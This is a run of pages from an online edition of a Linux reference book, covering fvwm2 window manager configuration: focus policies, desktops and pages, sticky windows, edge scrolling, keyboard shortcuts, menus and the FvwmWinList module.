There are two other focus policies available: click-to-type focus (ClickToFocus), which requires you to click the pointer on the window in order to type in it, and the very handy SloppyFocus, which is like pointer focus with a twist -- the focus does not leave the last window that had it until you move it into another window that takes over the focus. This can come in handy, particularly with terminal emulator windows like xterm and rxvt. You can actually move the pointer out of the way -- accidentally or on purpose -- and still continue to type in the window.

The best part of fvwm2's way of handling focus policy is that you can mix and match what windows use what type of focus. All of the settings for focus policy are used as arguments to the Style variable. (Style takes several arguments that determine the appearance and behavior of a particular client or window manager component.)

In the following excerpt from a configuration file, the first line makes pointer focus the default for all applications (the asterisk is a wildcard). The subsequent lines specify the exceptions to this rule. The button bar works better with click-to-type focus, as do xman (the manpage viewer) and xmag (a magnification tool). The two terminal emulators benefit from sloppy focus.

Style "*"           FocusFollowsMouse
Style "FvwmButtons" Icon toolbox.xpm, ClickToFocus
Style "xman"        Icon xman.xpm, RandomPlacement, ClickToFocus
Style "xmag"        Icon mag_glass.xpm, RandomPlacement, ClickToFocus
Style "XTerm"       Icon xterm.xpm, SloppyFocus, IconBox -70 1 -1 -140
Style "rxvt"        Icon term.xpm, SloppyFocus, IconBox -70 1 -1 -140

(See Style on the fvwm2 manpage for more information about this versatile option.)

In our sample configuration, the Simple Config Ops submenu of the Root menu offers three items that let you change the focus policy on the fly, just for the current window manager session:

  • Sloppy Focus

  • Click to Focus

  • Focus Follows Mouse

Note, however, that these items supersede what's in your configuration file for all applications. If you want to recover the more specialized definitions in your configuration file, you'll have to restart the window manager.

Previous | Home | Next
17.5. A Quick Tour of the fvwm Environment | Book Index | 17.7. Raising the Focus Window Automatically
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Raising the Focus Window Automatically (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.7. Raising the Focus Window Automatically

If you're using pointer focus (FocusFollowsMouse), you might want to consider also using the FvwmAuto module to automatically raise the focus window. If we add the following line to our .fvwm2rc file, the focus window is automatically raised after the pointer has been in it for 200 milliseconds:

Module FvwmAuto 200

(That's one-fifth of a second to metric-resistant types.) The delay is important and makes FvwmAuto much more practical. Generally when pointer focus is in effect, an autoraise feature can make the display seem chaotic: when you move the pointer across the screen, the focus hits several windows and they are raised in a distracting shuffle. With an autoraise delay, you can avoid the shuffling by moving the pointer quickly to the window you want to focus on.

If you use ClickToFocus mode by default, the autoraise feature is built in and you don't have to make this modification.

Of course, those who adapt to using the FvwmWinList module to transfer focus will have their windows raised automatically, without having to edit their .fvwm2rc file -- or even move the pointer off the WinList.

One of your menus may also be configured to offer an item that turns on autoraise on the fly and another item that turns it off again. In some default setups, the Fvwm Modules menu features AutoRaise and Stop AutoRaise for these purposes.

Previous | Home | Next
17.6. Specifying Click-to-Type Focus | Book Index | 17.8. Changing the Size of the Desktop
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Changing the Size of the Desktop (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.8. Changing the Size of the Desktop

Many default configuration files have a default desktop of two screen pages across (horizontal) by two screen pages down (vertical), which in the configuration file is defined using the line:

DeskTopSize 2x2

It's easy to change the size of your desktop by editing the dimensions of the grid. Thus, the following line creates a desktop of three pages across by two pages down:

DeskTopSize 3x2

You don't have to have multiple pages in both directions. You can have a desktop of one page above another above another:

DeskTopSize 1x3

You don't even have to have multiple pages at all:

DeskTopSize 1x1

But then why use fvwm2?

Of course, the number of pages you select will depend on your space needs and style of working and also on whether you will use more than one desktop (described in the next section). If you configure for multiple desktops, each one will have the same exact DeskTopSize. So if you want a desktop for work and one for play, you may not need each one to be many pages. Two desktops of three-by-three, for instance, would give you a total of 18 pages to get lost on. Yipes. However, graphical artists may welcome a larger workspace.

Previous | Home | Next
17.7. Raising the Focus Window Automatically | Book Index | 17.9. Having Multiple Desktops
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Having Multiple Desktops (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.9. Having Multiple Desktops

In order to work with multiple desktops, you simply have to configure the Pager to display the number of desktops you want. Each desktop will have the same number of pages, the number you've specified using DeskTopSize (see Section 17.8, "Changing the Size of the Desktop").

In order to specify more than one desktop, you'll need to edit a line that looks something like this one:

*FvwmButtons(2x2 Frame 2 Swallow(UseOld) "FvwmPager" "Module FvwmPager 0 0")

This line incorporates the Pager into the FvwmButtons module (the button bar). The two numbers at the end of the definition line give the range of desktops visible. The first desktop is number 0, and in this case the last desktop is also number 0 -- i.e., there is only one.

If you want two desktops, change the final number to a 1:

*FvwmButtons(1x2 Frame 2 Swallow(UseOld) "FvwmPager" "Module FvwmPager 0 1")

The following line would create a Pager with four desktops, numbered through 3:

*FvwmButtons(1x2 Frame 2 Swallow(UseOld) "FvwmPager" "Module FvwmPager 0 3")

Few people will require this much space. But even if you add only a single desktop, keep in mind that you may have to change the overall dimensions of the Pager, and thus of the button bar that contains it, in order to have a reasonably sized view of your various desktops. You may also have to reallocate the space you have so that the Pager gets a large enough area.

There are a few relevant sizes you can tinker with to make room for a Pager that shows multiple desktops:

  • The dimensions of the button bar (FvwmButtons module)

  • The number of columns the button bar is divided into

  • How many of those columns the Pager takes up

A typical FvwmButtons module might be 520 pixels wide and 100 pixels high:

*FvwmButtonsGeometry 520x100-1-1

And it might be configured as two rows and five columns (the sizes of which are entirely dependent on FvwmButton's geometry):

*FvwmButtons(Frame 2 Padding 2 2 Container(Rows 2 Columns 5 Frame 1 Padding 10 0))

In this particular setup, the Pager takes up a one-column by two-row section of the FvwmButtons module:

*FvwmButtons(1x2 Frame 2 Swallow(UseOld) "FvwmPager" "Module FvwmPager 0 1")

The Icon Manager takes up three columns:

*FvwmButtons(3x2 Frame 2 Swallow "FvwmIconMan" "Module FvwmIconMan")

And the remaining column is occupied by the desktop applications (e.g., xbiff, xclock, xload) that run within a Container in the FvwmButtons module:

*FvwmButtons(1x2 Frame 0 Container(Rows 2 Columns 2 Frame 0))
*FvwmButtons(Frame 2 Swallow(UseOld,NoHints,Respawn) "xbiff" 'Exec exec xbiff -bg
bisque3')
*FvwmButtons(Frame 3 Swallow(UseOld,NoHints,Respawn) "xclock" 'Exec exec xclock -bg
bisque3 -fg black -hd black -hl black -padding 0 update 1')
*FvwmButtons(2x1 Frame 2 Swallow(UseOld,NoHints,Respawn) "xload" 'Exec exec xload -bg
bisque3 -fg black -update 5 -nolabel')

Notice that the container is further subdivided into two rows and two columns so the applications can be laid out. But don't let this layer confuse you. (Parsing the configuration file can be exacting.)

Back to the issue of multiple desktops. If you want two desktops, first set that up by changing the number of the final desktop to a 1 at the end of this line:

*FvwmButtons(1x2 Frame 2 Swallow(UseOld) "FvwmPager" "Module FvwmPager 0 1")

Then to make the Pager big enough to display both desktops adequately, add some pixels to the width of the button bar. Here's an extra hundred from the 520 we started with:

*FvwmButtonsGeometry 620x100-1-1

And let's also reallocate the available five columns so that the icon manager takes up only two (rather than the three it started with), and give the extra column to the Pager. The section with the applications remains a single column wide:

*FvwmButtons(2x2 Frame 2 Swallow "FvwmIconMan" "Module FvwmIconMan")
*FvwmButtons(2x2 Frame 2 Swallow(UseOld) "FvwmPager" "Module FvwmPager 0 0")
*FvwmButtons(1x2 Frame 0 Container(Rows 2 Columns 2 Frame 0))

Figure 17-2 shows our new double desktop reflected in the updated button box. This is just one sample customization. With your individual needs and display specifics, you can imagine how complicated this can get. But it's easy to test your changes by simply restarting the window manager.

Figure 17-2. The modified FvwmButtons module shows two desktops in the Pager

Previous | Home | Next
17.8. Changing the Size of the Desktop | Book Index | 17.10. Making the Same Window Appear on Every Page
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Making the Same Window Appear on Every Page (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.10. Making the Same Window Appear on Every Page

A window that appears on every virtual screen page is called a sticky window because it seems to stick to the glass. Some windows are designated as sticky in the system.fvwm2rc file, among them xbiff, programs ending in lock (e.g., clock programs such as xclock and oclock), and all of the fvwm2 modules (because you need the button bar, Pager, etc., on every page).

If you want a window to appear on the desktop no matter what page you're viewing, you need to specify that in your .fvwm2rc file. The specification requires you to use the Style variable, followed by the client's name, and a hard-to-forget parameter, Sticky. The Style variable is used to set many different characteristics. Here are some lines you might see in a configuration file to establish that a window is sticky, among other things:

Style "xbiff"       NoTitle, Sticky, WindowListSkip, ClickToFocus
Style "*lock"       NoTitle, NoHandles, Sticky, WindowListSkip, ClickToFocus
Style "Fvwm*"       NoTitle,  Sticky, WindowListSkip

Notice that the Style variable can recognize a wildcard character (*) to widen the scope of the definition. Fvwm* would encompass all fvwm2 modules.

Try adding the following line, which specifies that an application called xpostit will stick to the glass:

Style "xpostit"      Sticky

Practically speaking, you probably also want to specify that xpostit uses click-to-type focus and doesn't appear on the FvwmWinList, so this definition is better:

Style "xpostit"     Sticky, WindowListSkip, ClickToFocus

In most cases, you'll want only small windows that you run a single instance of (and that you use frequently) to be sticky. Having a terminal emulator like xterm appear on every page is not as practical; it would take up too much space. However, if you do want a client like xterm to follow you around, be sure to give that instance of the program a distinctive name using the -name option.

For example, in your X session startup file you could run an xterm you name mailwindow:

xterm -name mailwindow &

Then make that window appear on every page by adding the following line to your .fvwm2rc file:

Style "mailwindow"  Sticky

If you'd like to make a particular window sticky temporarily, look for an Fvwm Window Ops menu under your Root menu. Commonly you will find a toggle to (Un)Stick a Window. Or you can set up such a menu item yourself. See Section 17.14, "Customizing Menus", later in this chapter.

Previous | Home | Next
17.9. Having Multiple Desktops | Book Index | 17.11. Starting Windows on Different Desktops and Pages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Starting Windows on Different Desktops and Pages (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.11. Starting Windows on Different Desktops and Pages

There's an obvious, low-tech way to start applications on different desktops and on different pages within a desktop: switch the view to the desktop and page you want (using the Pager, keyboard shortcuts, or whatever method you like), open a terminal emulator window (e.g., using the Root menu), then run any program you like. Voila. The application window opens on the current desktop and page.

But there are two automated ways to accomplish this same thing. In the first method, you specify in your .fvwm2rc file that certain programs will appear on certain desktops and/or pages automatically when you run them. You do this using fvwm2's Style variable, which takes two relevant options: StartsOnPage and StartsOnDesk.

Here comes a confusing part. StartsOnPage takes up to three numeric arguments. If there is only one argument, it corresponds to the number of the desk on which to open the application. If there are three arguments, the second and third additionally identify the page, using an X,Y coordinate scheme. We'll come back to this in a moment. (Two arguments alone are interpreted as the X,Y coordinates of the page.)

And what about the closely associated StartsOnDesk variable? A little more confusion here. StartsOnDesk takes only one argument: the desk number. But since you can set this with StartsOnPage, along with the more specific page address, in practice there is no need to use StartsOnDesk at all. The only real reason to use StartsOnDesk is if you want your .fvwm2rc file definitions to be as obvious as possible.

Now back to desktop and page addressing. Let's consider the addressing scheme of a single two-by-two-page desktop. Just as the first desk is addressed as number 0, the first page on a desk is 0,0. The next page to the right is 1,0. The third page clockwise (the lower-right quadrant) is 1,1. And the fourth page clockwise (the lower-left quadrant) is 0,1.

Supposing there are at least two desktops of four pages each, the following definition says that when you run an xterm called "bigxterm" it will be opened in the lower-left quadrant (0,1) of the second desktop (number 1):

Style "bigxterm"     StartsOnPage 1 0 1

Once you make this update to your .fvwm2rc file and restart the window manager, running the command:

xterm -name bigxterm &

will open the window where you want it.

You also have the option of accomplishing the same thing using X resource syntax on the command line. This strategy may even be a little more practical than putting the definitions in your .fvwm2rc file because you won't have to define many different instances of the various programs (e.g., bigxterm, littlexterm, mailwindow, or whatever). The -xrm option (recognized by many X clients) lets you specify an X resource variable on the command line:

xterm -xrm '*Page: 1 0 1' &

You can even put a series of such lines in your X session startup file in order to open applications wherever you want them on your desktop(s) when you log in.

While it looks as if these two methods of opening windows on different desktops/pages (the Style variable with StartsOnPage or StartsOnDesk and the -xrm command-line option) produce identical results, there is actually a subtle difference in behavior. When you use Style with StartsOnPage (or StartsOnDesk) and you specify only the desktop number, the window is opened on the first page (0,0) of that desk. If you give the same information on the command line (using -xrm), the destination page of the new window is related to the page you're on when you run the command. The new window appears on the analogous page of the desktop you specify.

You have still one more alternative if you're interested in opening a window on a different page within the current desktop. Run a window with the -geometry option and supply large enough coordinates to place it on a particular page in the desktop. If you use a desktop three pages square, the following line places a window in the middle page (of the nine-page grid):

xterm -geometry +1200+1200 &

Keep in mind, however, that display-specific characteristics play a big part in gauging these distances, and they are not easy to guess.

Previous | Home | Next
17.10. Making the Same Window Appear on Every Page | Book Index | 17.12. If It's Too Hard (or Easy) to Move the Pointer Between Pages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


If It's Too Hard (or Easy) to Move the Pointer Between Pages (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.12. If It's Too Hard (or Easy) to Move the Pointer Between Pages

If you're trying to navigate the desktop by moving the pointer and you find it either too easy or too difficult to go from one page to the next, there's a configuration file variable you can customize. The aptly named EdgeResistance variable lets you adjust how easy it is to move the pointer beyond the perimeter of the current page.

The variable takes two parameters. The first is more relevant to the problem at hand: the number of milliseconds the pointer must be at the screen edge before you'll be moved onto the next page. The second parameter has to do with the way a window is moved between pages: it's the number of pixels over the edge of the screen a window's border must move before it moves partially off the screen. Typical default settings are:

EdgeResistance 250 10

Some people find the EdgeResistance they're working with is too low for them, the inconvenient result being that they inadvertently knock the pointer off of the current screen page. If this is your problem, you can increase the first parameter:

EdgeResistance 500 10

A first parameter between 500 and 1000 will greatly enhance the resistance. The maximum resistance is 10000, which actually makes it impossible to page over.

As it happens, if you have the opposite problem and have to bounce the mouse against what feels like a hard rubber wall in order to page over, try reducing the first number:

EdgeResistance 100 10

In a typical default configuration, fvwm2 is set up to provide a number of menu options that let you change your paging options on the fly. A number of them are located on the Fvwm Simple Config Ops menu, a submenu of the Root menu. Thus, you can toggle the ability to page on and off with Full Paging On and All Paging Off.

All Paging Off does exactly what it sounds like -- it limits you to keeping the pointer on the current page. You might prefer this if you're going to be working on that page for a while and you don't want to worry about knocking the pointer onto another page. You can toggle paging back on with the Full Paging On menu item.

There are other items to constrain paging in different ways (e.g., Horizontal Paging Only, Vertical Paging Only).

The Partial Paging item lets you move the pointer so that the view straddles two adjacent pages; the area you see will be highlighted in the Pager window.

The item Full Paging & Edge Wrap actually expands the range of paging possibilities. Normally when you reach the edge of a desktop, you can't move the pointer beyond. With this item selected, you can drag the pointer beyond the edge of the desktop, and it wraps around to the page on the other side (either horizontally or vertically). Thus, if you have the pointer in the upper-right page of a two-by-two desktop, and you drag the pointer off of the right edge, it will wrap around to the upper-left page of that desktop.

Underlying all of these menu items is the EdgeScroll variable. Here are the EdgeScroll parameters that map to the various menu items:

Full Paging ON               EdgeScroll 100 100
All Paging OFF               EdgeScroll 0 0
Horizontal Paging Only       EdgeScroll 100 0
Vertical Paging Only         EdgeScroll 0 100
Partial Paging               EdgeScroll 50 50
Full Paging & Edge Wrap      EdgeScroll 100000 100000

EdgeScroll's two parameters specify the percentage of a page to scroll when you reach the border of the page. The first parameter is for horizontal moves, the second for vertical. If the horizontal and vertical percentages are multipled by 1000, scrolling will wrap around at the edge of the desktop. EdgeScroll 100000 100000 will wrap both for both horizontal and vertical moves.

Rather than rely on menu items like these, you could make any of these a default behavior by putting the EdgeScroll variable on its own line in your .fvwm2rc file. See the fvwm2 manpage and check out the system.fvwm2rc file for guidance.

Note that none of these variations will scroll you from one desktop to another. The next section shows how to configure some keyboard shortcuts to do just that.

Previous | Home | Next
17.11. Starting Windows on Different Desktops and Pages | Book Index | 17.13. Adding Keyboard Shortcuts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Adding Keyboard Shortcuts (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.13. Adding Keyboard Shortcuts

The bare-bones system.fvwmrc file that we started with offers little in the way of keyboard shortcuts, or accelerators, for window management functions. But if you're one of those users who prefers to keep her hands on the keyboard and off the mouse as much as possible, within your .fvwm2rc file you can easily define keys to perform a variety of functions.

17.13.1. Keyboard Shortcuts to Navigate the Desktop

The Pager is a great tool for getting around one or more desktops. But many people hate using the mouse. You can configure a bunch of keys to let you move around in various ways.

Add the following lines to your .fvwm2rc file to set up key combinations to scroll one page in any direction on the desktop using Ctrl plus an arrow key. The view scrolls in the direction of the arrow.

Each definition uses the Key variable followed by:

  1. The name of the key

  2. The context (location) in which it must be typed

  3. Any modifying keys (that must also be held down)

  4. The action initiated by the key or key combination

Thus, in the following example, the first definition line says that pressing the left arrow key in any "A" context, while also holding down the Ctrl "C" key will scroll the screen one page to the left on the current desktop:

# Press arrow + Control in any context
# to scroll by one page in the direction of the arrow
Key Left            A	    C	    Scroll -100 0
Key Right           A	    C	    Scroll +100 +0
Key Up              A	    C	    Scroll +0   -100
Key Down            A	    C	    Scroll +0   +100

Table 17-1 summarizes the functionality.

Table 17-1. Key Combinations to Change the Page

Key Combination | Moves View
Control, right arrow key | One page to the right
Control, left arrow key | One page to the left
Control, up arrow key | One page up
Control, down arrow key | One page down

The Scroll variable takes the same parameters as EdgeScroll, which are explained in Section 17.12, "If It's Too Hard (or Easy) to Move the Pointer Between Pages", earlier in this chapter. See the fvwm2 manpage for more information. Note that the key combinations we've defined let you get around a single desktop but won't let you advance to another desktop. We'll deal with that contingency later.

Here's another possible key binding. This one advances the view to every page in the desktop in order and finally wraps back to the first page. You use the Tab key while holding down Control, again in any context. The definition line looks like this:

# Press Tab + Control in any context to scroll
# by one page with wrap scrolling
Key Tab         A       C       Scroll 100000 0

Table 17-2 summarizes another page-changing combination.

Table 17-2. Another Key Combination to Change the Page

Key Combination | Moves View
Control, Tab | To the next page in the desktop

Since application windows can straddle pages, there may be times when you want the screen to display a screenful other than a page proper. (You might also want to look at windows on two different pages at once.) The following shortcuts scroll the view one-tenth of a page at a time. Instead of Control, these shortcuts use the so-called Meta key. This is a symbolic name -- the actual key that serves the Meta function varies from keyboard to keyboard. In many cases, the key labeled Alt serves as the Meta key. Here are the configuration file definition lines:

## Press arrow + meta key in any context
## to scroll by 1/10 of a page in the direction of arrow
Key Left            A	    M	    Scroll -10 +0
Key Right           A	    M	    Scroll +10 +0
Key Up              A	    M	    Scroll +0   -10
Key Down            A	    M	    Scroll +0   +10

These lines establish the following functionality, outlined in Table 17-3.

Table 17-3. Key Combinations to Scroll the Page by 1/10

Key Combination | Moves View
Meta, left arrow key | One-tenth page to the left
Meta, right arrow key | One-tenth page to the left
Meta, up arrow key | One-tenth page up
Meta, down arrow key | One-tenth page down

If you have more than one desktop, you can also create shortcuts to move between those. The following two shortcuts are intended to let you go back and forth between desktops in a two-desktop environment:

## Press Control + Return in any context
## to scroll forward by 1 desktop
Key Return         A       C       Desk 1 1 1
## Press Shift + Control + Return in any context
## to scroll back by 1 desktop
Key Return         A       SC      Desk -1 0 0

Table 17-4 summarizes these shortcuts.

Table 17-4. Key Combinations to Scroll to the Next Desktop

Key Combination | Moves View
Control + Return | One desktop ahead
Shift + Control + Return | One desktop back

The second and third parameters to the Desk variable constrain the paging so that you can't page beyond the first or second desktops. (Hypothetically, you can page outside the view of the Pager!) If you have more than two desktops, you will need to edit these definitions. See the fvwm2 manpage for more about the Desk variable.

17.13.2. Moving the Pointer with Keystrokes

The previous section outlines some keyboard shortcuts you can define to scroll the page view. But you can also define shortcuts to move the position of the pointer on the screen. Admittedly this is for people who are downright mouse haters. But if you're someone who prefers to use the keyboard to the mouse, these shortcuts can come in handy. They employ the CursorMove variable, also described on the fvwm2 manpage.

The keyboard accelerators in the first group move the cursor symbol one-tenth of a screen at a time. The first definition line says that pressing the left arrow key in any "A" context, while also holding down the Shift "S" and Meta "M" keys will move the cursor one-tenth of a page in the direction of the arrow:

## Press Shift + Meta + arrow in any context
## to move the pointer by 1/10 of a page in direction of arrow
Key Left            A	    SM	    CursorMove -10  +0
Key Right           A	    SM	    CursorMove +10  +0
Key Up              A	    SM	    CursorMove +0   -10
Key Down            A	    SM	    CursorMove +0   +10

Table 17-5 summarizes the commands.

Table 17-5. Key Combinations to Move the Pointer by 1/10 of the Page

Key Combination | Moves Pointer
Meta, Shift, left arrow key | One-tenth of a page to the left
Meta, Shift, right arrow key | One-tenth of a page to the right
Meta, Shift, up arrow key | One-tenth of a page up
Meta, Shift, down arrow key | One-tenth of a page down

If you want to have just about as much control moving the pointer with keystrokes as you do moving it by hand, you can specify shortcuts to move it a mere one percent of a page at a time:

## Press Shift + Control + arrow in any context
## to move the pointer by 1% of a page in direction of arrow
Key Left            A	    SC	    CursorMove -1 0
Key Right           A	    SC	    CursorMove +1 +0
Key Up              A	    SC	    CursorMove +0   -1
Key Down            A	    SC	    CursorMove +0   +1

Table 17-6 summarizes the commands.

Table 17-6. Key Combinations to Move the Pointer by 1 Percent of the Page

Key Combination | Moves Pointer
Shift, Control, left arrow key | One percent of a page to the left
Shift, Control, right arrow key | One percent of a page to the right
Shift, Control, up arrow key | One percent of a page up
Shift, Control, down arrow key | One percent of a page down

17.13.3. Keyboard Shortcuts for Menu and Window Manipulation

So far we've limited our keyboard shortcuts to scrolling the view and moving the pointer. But you can create keyboard bindings for any window manager function.

Here are some sample bindings to perform simple window operations and to display a few menus:

# Keyboard accelerators
Key F1          A       M       Iconify
Key F2          A       M       Move
Key F3          A       M       Resize
Key F4          A       M       Popup "RootMenu"
Key F5          A       M       Popup "Misc-Ops"
Key F6          A       M       Popup "Utilities"
Key F7          A       M       Popup "Module-Popup"
Key F10         A       M       Restart fvwm2
Key F12         A       SM      Close

These are just sample bindings; you may want to set up your own keyboard shortcuts to do entirely different things. But these bindings will let us look at some of the possibilities, as well as potential problems.

In our sample definition lines, the first binding specifies that if you press the F1 function key while holding down the Meta "M" key, with the pointer in any "A" context, the focus window will be iconified (or deiconified). Meta+F2 lets you initiate moving the focus window, while Meta+F3 starts a resize operation. (The Meta key is described in the section "Keyboard Shortcuts to Navigate the Desktop," earlier in this chapter.)

Note that if you've adopted the keyboard bindings to move the pointer (as described in the previous section), you can perform the move and resize operations entirely with keystrokes. For example, use Meta+F2 to begin a move, then drag the window outline by moving the pointer symbol using the appropriate keyboard shortcuts, then press the Return key to complete the operation.

In addition, we've set up function keys to pop-up four different menus, the contents of which are also defined in the .fvwm2rc file. Once a menu is popped up, you can use the up and down arrow keys to highlight items on the menu, right and left keys to move down and up through submenus (cascading menus), the Return key to select an item, and Esc to pop down the menu without making a selection.

Because we do a lot of tinkering with fvwm2 customization, we have set up Meta+F10 to restart the window manager. This is much faster than bringing up menus.

We've also created a key combination to close the focus window: Shift+Meta+F12. Certainly it's handy to be able to get rid of a window with a keyboard shortcut, but you don't want it to be too easy or you may do it by mistake. Having an extra modifying key (Shift) and using the very last function key (F12) require you to act deliberately in closing a window using this method.

Previous | Home | Next
17.12. If It's Too Hard (or Easy) to Move the Pointer Between Pages | Book Index | 17.14. Customizing Menus
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Customizing Menus (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.14. Customizing Menus

Among the window manager features and functions defined in the configuration file are the contents of menus. The system.fvwm2rc file generally defines a number of menus intended to be useful to a large percentage of people. But what menus you have, if any, and what they offer, are basically up to you.

Typically the Root menu would be defined:

AddToMenu RootMenu      "Root Menu"               Title
+                       "XTerm"                   Exec exec xterm
+                       "Rxvt"                    Exec exec rxvt
+                       ""                        Nop
+                       "Remote Logins"           Popup Remote-Logins
+                       ""                        Nop
+                       "Utilities"               Popup Utilities
+                       ""                        Nop
+                       "Fvwm Modules"            Popup Module-Popup
+                       "Fvwm Window Ops"         Popup Window-Ops
+                       "Fvwm Simple Config Ops"  Popup Misc-Ops
+                       ""                        Nop
+                       "Refresh Screen"          Refresh
+                       "Recapture Screen"        Recapture
+                       ""                        Nop
+                       "Exit Fvwm"               Popup Quit-Verify

You use the AddToMenu variable to create a menu. The first parameter AddToMenu takes is the name of the menu, in this case RootMenu. The menu name is used to reference the menu elsewhere in the configuration file (e.g., to specify a key binding to pop-up the menu). (Note that the AddToMenu variable and the menu name are repeated on each line of the menu definition, as indicated by the plus sign.

Each line of the definition creates a line on the menu; that may be the menu title, a menu item proper, a blank line, or a separator. The third component of each line specifies the text that appears on that line. The fourth component specifies the window manager function to be performed.

The first line of our example specifies the menu title. Lines with empty text fields ("") and the Nop function (which specifies "No operation") are used to create divider lines on the menu.

The Pop-up function is worth looking at more closely. Pop-up specifies that a menu is displayed; the menu name is given as an argument to Pop-up. When Pop-up is invoked from another menu, it creates a submenu (or cascading menu). This sample Root Menu definition has six submenus, named Remote-Logins, Utilities, Module-Popup, Window-Ops, Misc-Ops, and Quit-Verify. These menus would also be defined using the AddToMenu command, elsewhere in the configuration file.

You can use the sample menus in the system.fvwm2rc file and the fvwm2 manpage to modify the existing menus or create your own. It is simple to replace definition lines in the template menus and not much more difficult to write one from scratch.

You can also change how the menus are displayed. Perhaps you don't want a bunch of cascading menus off of the Root menu. In the previous section we set up some function keys to display certain menus. That's one option. You might instead specify pointer buttons to display various menus. In a typical default, the first pointer button displays the Root menu and the second displays the Window Ops menu. But since most Window Ops functions (e.g., Move, Resize, Iconify) are available using the pointer directly on parts of a window, you may instead choose to have the second pointer button display another menu (e.g., Utilities).

Previous | Home | Next
17.13. Adding Keyboard Shortcuts | Book Index | 17.15. The FvwmWinList: Switching the Focus
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The FvwmWinList: Switching the Focus (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.15. The FvwmWinList: Switching the Focus

The FvwmWinList is an fvwm2 module that lets you keep track of all the application windows on your many screen pages. Generally the WinList is configured to let you switch the focus to whatever window you want, but hypothetically you can set it up to perform other operations.

In many typical environments, you can start the FvwmWinList from an Fvwm Modules menu (often a submenu of the Root menu). If you'd instead like to configure fvwm to start the WinList automatically, see Section 17.15.2, "Making the FvwmWinList Part of Your Default Environment". (You might also configure a keyboard shortcut to start the WinList module; see Section 17.13, "Adding Keyboard Shortcuts " for details.)

Some of FvwmWinList's appearance and behavior can be customized. We'll see some typical module definition lines in the next section. If you are using this configuration, FvwmWinList performs the following operations:

First mouse button click:

Switch the focus to the window in question. If the window is iconified, deiconify. Switch the screen view so that the page with the window is displayed.

Second mouse button click:

Iconify/deiconify window; the page displayed does not change.

Third mouse button click:

Display a pop-up box containing information about the window in question (e.g., dimensions in pixels, whether it is sticky, permanent or transient, etc.). Pop down the box by clicking any mouse button on it.

One of the interesting features of the WinList is that none of these commands moves the pointer to the focus window. Instead, the pointer stays on the entry in the WinList that corresponds to the focus window.

Hypothetically you could simply keep the pointer on the FvwmWinList and do all of your navigation from there -- except when you want to work with the FvwmButtons module or another of the windows that don't normally appear in the WinList.

17.15.1. Using the FvwmWinList with Multiple Instances of the Same Window

The primary limitation of the FvwmWinList is that it's somewhat difficult to tell which window in the list is which. Each entry in the FvwmWinList gives the text that appears in the corresponding window's titlebar. (If the titlebar is suppressed, it gives the text that would normally appear.) If you tend to run the same program many times simultaneously -- e.g., several xterms -- on the FvwmWinList, they all look alike. (The one difference is that iconified windows have entries surrounded by parentheses.)

If you get attached to using the FvwmWinList, you should probably specify different titles for multiple instances of the same window. The standard X options -title or -name will do the trick. Note, however, that while -title changes only the text in the titlebar, -name literally changes the name of the application. Thus it affects how resources and configuration file parameters are assigned.

17.15.2. Making the FvwmWinList Part of Your Default Environment

If you want to make FvwmWinList part of your default environment, edit your configuration file to have it run at both initialization and restart of the window manager. In the following example, we've added lines three and six for these purposes:

AddToFunc InitFunction    "I" Module FvwmButtons
+           "I" exec xsetroot -mod 2 2 -fg \#554055 -bg \#705070
+           "I" Module FvwmWinList

AddToFunc RestartFunction "I" Module FvwmButtons
+           "I" exec xsetroot -mod 2 2 -fg \#554055 -bg \#705070
+           "I" Module FvwmWinList

These lines specify that the FvwmWinList module is run whenever you start or restart the window manager. The window appears in the bottom left corner of the screen.

As an alternative, you might make the FvwmWinList appear as a pop-up menu. The following definition binds the module to the third pointer button when it is held down on the root window (this may not be as handy as having the module present all the time):

Mouse 3         R       A       Module FvwmWinList Transient

But running a module is different than specifying how it looks and behaves. Like a number of other modules (FvwmButtonBox, FvwmPager, etc.), the various characteristics of the FvwmWinList are defined elsewhere in the configuration file. Here are some typical definition lines:

#########################FvwmWinList#########################
*FvwmWinListBack #908090
*FvwmWinListFore Black
*FvwmWinListFont -adobe-helvetica-bold-r-*-*-10-*-*-*-*-*-*-*
*FvwmWinListAction Click1 Iconify -1,Focus
*FvwmWinListAction Click2 Iconify
*FvwmWinListAction Click3 Module "FvwmIdent" FvwmIdent
*FvwmWinListUseSkipList
*FvwmWinListGeometry +0-1

The first three lines specify the background color, foreground color, and text font used for the application. The next three define what actions first, second, and third mouse button clicks invoke when you do them within the WinList. UseSkipList tells the WinList not to list any windows that are assigned the Style classification WindowListSkip elsewhere in the configuration file. (Generally all module windows are classified thus and will not appear in the FvwmWinList.) The final line specifies the location at which the window should appear (bottom-left corner).

The WinList is also a sticky window; that is, it appears on every page on every desktop. But the configuration file can be confusing. This characteristic is specified elsewhere in the file, using the Style option:

Style "Fvwm*"       NoTitle, Sticky, WindowListSkip

This line specifies that all modules (including the WinList) have no titlebars, are sticky, and will not appear on the FvwmWinList. In the case of the FvwmWinList module, having it appear as an entry on itself would be more than a little confusing.

Previous | Home | Next
17.14. Customizing Menus | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

